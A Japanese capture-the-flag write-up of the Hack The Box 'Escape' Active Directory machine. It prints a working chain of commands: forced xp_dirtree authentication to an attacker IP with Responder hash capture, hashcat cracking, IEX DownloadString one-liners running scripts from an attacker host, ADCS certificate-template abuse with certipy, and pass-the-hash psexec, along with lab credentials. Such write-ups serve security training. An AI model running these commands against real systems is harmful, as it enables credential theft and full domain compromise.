HTB: Escape (Medium) Writeup-ish

Hack the Box(HTB) EscapeのWriteupになります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/501d00e3-dfea-c244-9b75-3ea6fc239eca.png)
## TL;DR
以下の知識が必要となります。
    - Windows Active Directory脆弱性検証の知識
    - impacketツールの知識
    - ADCS脆弱性の知識
    - (オプション)シルバーチケット脆弱性の知識
## Initial Recon
nmapの結果は以下になります。
```bash
nmap -sC -sV -oA nmap/init $RHOST -Pn
```
nmapの結果をグレップして見やすくしました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/0b5f1173-4a54-bcc1-ee66-c6f1b5fec7ef.png)
88ポートや389ポートがあるのでADのボックスだと分かります。
詳細のnmapの結果を見ると、以下のようなドメインの情報が分かります。
```bash
ssl-cert: Subject: commonName=dc.sequel.htb
Domain: sequel.htb0
DNS:dc.sequel.htb
``` 

## SSL/ldap (636/3269)
詳細分析の前にSSLの証明書が存在しないか見に行きます。
https://sequel.htb:3269/
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/eca63004-5b85-0381-36a9-5748db701d92.png)
sequel-DC-CAが見つかりました。おそらくこのADはADCAもインストールされていると想像します。

## SMB (445)
crackmapexecを利用します。ユーザ名やパスワードはわからない前提で、色々試します。
```bash
# @Kali
export RHOST=<Your Target IP address> 
crackmapexec smb $RHOST
crackmapexec smb $RHOST --shares
crackmapexec smb $RHOST -u '' -p ''
crackmapexec smb $RHOST -u '' -p '' --shares
crackmapexec smb $RHOST -u 'anyuser' -p '' --shares
```
実行結果は以下になります。一番最後のコマンドで、'Public'が読み込めることがわかります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/6cdff90a-da41-bc15-9eeb-57bda356238d.png)
smbmapでも試してみます。
```
# @Kali 
smbmap -u null -p "" -H $RHOST -P 445 2>&1
```
実行結果は以下になります。同じくPublicのファイル共有が見えています。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/a4e54dcb-69eb-8aa2-67d8-6e72b59cb199.png)
ディレクトリアクセスは、smbclientを利用します。
```bash 
# @Kali 
smbclient //$RHOST/Public/ -N -L
> ls
```
実行結果は以下になります。PDFファイルが見えます。ダウンロードします。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/47b4bc9c-dcd2-0b1e-0c01-037f19e28c38.png)
mgetのコマンドを使います。
```bash
# @kali
> mget *
```
実行結果は以下になります。ダウンロード出来ました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/27cdcec0-7394-2f41-1aef-ea1fd323d9ad.png)
## PDF
Firefoxで開いてみます。
```bash
# @Kali
firefox 'SQL Server Procedures.pdf'
```
実行結果は以下になります。ユーザ名とパスワード（らしき）ものが見つかりました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/f0cf41ad-7b6c-1c8f-725d-251c3861110a.png)
PublicUser: GuestUserCantWrite1
PDFを読んでいると、MSSQLにアクセスするときのクレデンシャルなのではと推測できます。
## mssqlclient (1433) 
MSSQLにアクセスしてみます。mssqlclientを利用します。
```
# @Kali
mssqlclient.py sequel.htb/PublicUser:GuestUserCantWrite1@$RHOST 
```
以下が実行結果になります。ただし次のアクションにヒントになるデータは見つかりませんでした。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/566b0b34-9eba-c7c4-296a-6921219d5ae0.png)
## 次の一手
ここが最初の関門でしょうね。どうするか？次のポートに移るのか、それともMSSQLでどうにかするのか？ここでアイデアがないようでは次には進めません。Pentestingは時間の制約を受けますので、煮詰まった時に、次のアイデアが多い方が有利になります。
    - LDAPクエリーでユーザ等を探す。
    - RCP通信でユーザを探す
    - ケルベロス通信で、ユーザを探して見る。ただし、ブルートフォース攻撃は最後の一手とする。
    - その他... 
## hacktricks
このサイトで、MSSQLの次の一手を確認します。
https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server
関連の情報は以下のように、Responderを立ち上げて、xp_dirtreeを実行します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/657bdcb6-dc45-abf8-f440-05c495f4cf7a.png)

## Responder
AD脆弱性検証の基本は、（機能の脆弱性を探すのと同じぐらい）ユーザ名とパスワードを集めることが肝心なので、Responderを動かしてみて、Net-NTLMv2ハッシュが取得できるか試してみます。
```bash
# @Kali
sudo responder -I tun0   
```
実行結果は以下になります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/0ae76c0a-335c-009c-f6b3-c4bd0900917c.png)
MSSQLに接続して、Kaliへファイル共有を試します。
```bash
# @kali 
mssqlclient.py sequel.htb/PublicUser:GuestUserCantWrite1@$RHOST
>Exec xp_dirtree '\\10.10.14.26\anyshare', 1, 1
```
そうすると、ResponderがNet-NTLMv2のハッシュ値を取得できました。
## Crack Hash
ハッシュデータをファイルに保存しています。コマンドは割愛しています。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/52b4fc49-88b9-581d-51a4-a592abd99b6c.png)
hashcatでクラックしてみました。
```bash
# @kali 
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
```
実行結果は以下になります。パスワードがクラック出来ました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/a2c11880-386e-f2a8-8dc5-c03c663c3e09.png)
新しいユーザとパスワードは以下になります。
sql_scv:REGGIE1234ronnie 
## Access to AD again
新しいIDとパスワード(sql_scv:REGGIE1234ronnie)で再度、アクセスしてみます。
```bash
crackmapexec smb $RHOST -u 'SQL_SVC' -p 'REGGIE1234ronnie'
crackmapexec smb $RHOST -u 'SQL_SVC' -p 'REGGIE1234ronnie' --shares
crackmapexec mssql $RHOST -u 'SQL_SVC' -p 'REGGIE1234ronnie'
crackmapexec winrm $RHOST -u 'SQL_SVC' -p 'REGGIE1234ronnie'
```
最後のコマンドで、winrmを利用し、ログオンできることがわかりました。smbでのファイル共有はあまり変わっていませんが、IPC$等が読めるようになっています。Write権限ではないので、psexecは利用できません。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/cd8e8d75-03bb-6f71-f061-e7a5155af548.png)
## Evil-winrm
evil-winrmコマンドでログオンしてみます。
```bash
# @kali 
evil-winrm -i '10.129.228.253' -u 'sql_svc@sequel.htb'
```
実行結果は以下になります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/85df3c82-7506-f0e6-d798-69e51d88881c.png)
ログオンできました。User.txtがないか物色しましたが、このユーザにはありませんでした。したがって、他のユーザにアクセスする必要があります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/d22a3133-968a-989f-70d8-f30bdca7331a.png)
Ryan.Cooperが気になります。

## 次の一手
２番目の関門がここでしょうね。ここからどうするか？　winpeas,adpeas,bloodhoundを実行して、何か脆弱性がないかを探ります。何もなければSQL_SVCでアクセスできるディレクトリとファイルを調べてみます。MSSQLサーバも試します。
## winpeas
```bash
# @ad
.\winPEASany.exe
```
実行結果は以下になります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/9ade5616-6ccc-16b9-5f7d-c0b03dbd2753.png)
何も見つけられませんでした。
## adpeas 
```bash
# @ad
IEX (New-Object Net.WebClient).DownloadString('https://10.10.14.X/privesc/adPEAS.ps1')
Invoke-adPEAS
```
以下が実行結果です。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/e80d80cd-83c6-a25d-f1dc-09e5844502c4.png)
証明書テンプレートは以下になります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/cbc51435-b459-426f-1ddc-5b765803ae36.png)
しかし、脆弱性に関するものは、何も見つけられませんでした。
## PrivescCheck
```bash
# @ad
iex (new-Object Net.WebClient).DownloadString('http://10.10.14.26/privesc/PrivescCheck.ps1');Invoke-PrivescCheck -Extended
```
以下が実行結果です。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/7ed1e99b-ffd2-d1d0-25be-a5ce9fb5bb6c.png)
何も見つけられませんでした。

## Local Enumeration 
C:に移動してみます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/f6b3c4f2-ff5d-d690-5b9b-9081839712c5.png)
SQLServerが見えます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/e0de7680-2fc2-642c-e635-5e0e83d3cf59.png)
このファイルを見てみます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/af8ab011-b04a-ff80-7ba9-809587911084.png)
おそらくRyan.Cooperのパスワードでしょう。
sequel.htb\Ryan.Cooper: NuclearMosquito3
## Evil-winrm 2 
evil-winrmコマンドでログオンしてみます。
```bash
# @kali 
evil-winrm -i '10.129.228.253' -u 'Ryan.Cooper@sequel.htb'
```
以下が実行結果です。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/258346d5-8e00-6a77-0709-1bfed0c02181.png)
ログインできました。
## adpeas again
```bash
# @ad
IEX (New-Object Net.WebClient).DownloadString('https://10.10.14.X/privesc/adPEAS.ps1')
Invoke-adPEAS
```
以下が実行結果です。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/6a2fd2de-efdf-34d3-10fa-44d507a0758d.png)
証明書のテンプレートに脆弱性がありそうです。
## certipyで脆弱性検査
証明書のテンプレートの脆弱性をcertipyを利用して調べてみます。
```bash
# @kali
certipy find -u Ryan.Cooper -p NuclearMosquito3 -target sequel.htb -text -stdout -vulnerable
```
実行結果が以下になります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/06b38967-516f-a9c5-cc86-97436dfabef5.png)
次の画面を見てみると、UserAutehnticationのテンプレートを利用して、
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/87296c52-9ee0-bde2-b1b1-a7e761fa72b3.png)
ドメインユーザが他のユーザを利用した証明書を発行できるようです。
## Administrator管理者の証明書を発行
AdministratorのUPNを持つ証明書を発行してみます。
```bash
certipy req -u Ryan.Cooper -p NuclearMosquito3 -target sequel.htb -upn Administrator@sequel.htb -ca sequel-DC-CA -template UserAuthentication
```
実行結果は以下になります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/4c574b80-c58c-de9b-0bd9-8d34eb0317cc.png)
administrator.pfxが見えます。証明書を発行できたようです。（エラーが出ればもう一度実行する必要があるかもしれません。）
## TGT発行
さて次何をするかですが、証明書からTGTを取得出来ます。
```
certipy auth -pfx administrator.pfx
```
以下が実行結果です。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/2bb06422-b2ce-4f17-a302-ffbeccd96b49.png)
発行できたようです。sudo ntupdate <your ADIDNS server>を実行する必要があります。
よく見ると、ハッシュ値が取得出来ています。
## Psexecでログイン
```bash
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee Administrator@10.129.228.253 cmd.exe
```
以下が実行結果です。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/cd0668b9-ad8d-a50c-4a82-b99fad3b5cc9.png)
system権限を取得できました。

## 終わりに
ADCSの証明書テンプレートの脆弱性は任意のユーザのドメイン認証を可能にする危険性があるので、Tier0と同じ扱いで、オペレーションするようにしましょう。

対策等は以下の資料が詳しいです。
https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf